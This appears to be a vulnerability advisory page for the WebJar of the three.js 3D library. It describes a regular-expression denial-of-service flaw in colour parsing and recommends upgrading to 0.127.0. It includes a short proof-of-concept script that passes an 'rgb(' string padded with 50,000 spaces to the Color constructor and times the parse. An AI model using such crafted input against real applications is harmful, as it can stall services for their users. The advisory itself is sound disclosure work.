org.webjars.npm:three@0.118.1 vulnerabilities

WebJar for three

  • latest version

    0.144.0

  • latest non vulnerable version

  • first published

    6 years ago

  • latest version published

    a month ago

  • licenses detected

  • package manager

Direct Vulnerabilities

Known vulnerabilities in the org.webjars.npm:three package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Regular Expression Denial of Service (ReDoS)

org.webjars.npm:three is a JavaScript 3D library

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). This can happen when handling rgb or hsl colors.

PoC:

var three = require('three')

function build_blank (n) {
 var ret = "rgb("
 for (var i = 0; i < n; i++) {
  ret += " "
 }

 return ret + "";
}

var Color = three.Color

var time = Date.now();
new Color(build_blank(50000))
var time_cost = Date.now() - time;
console.log(time_cost+" ms")

How to fix Regular Expression Denial of Service (ReDoS)?

Upgrade org.webjars.npm:three to version 0.127.0 or higher.

(,0.127.0)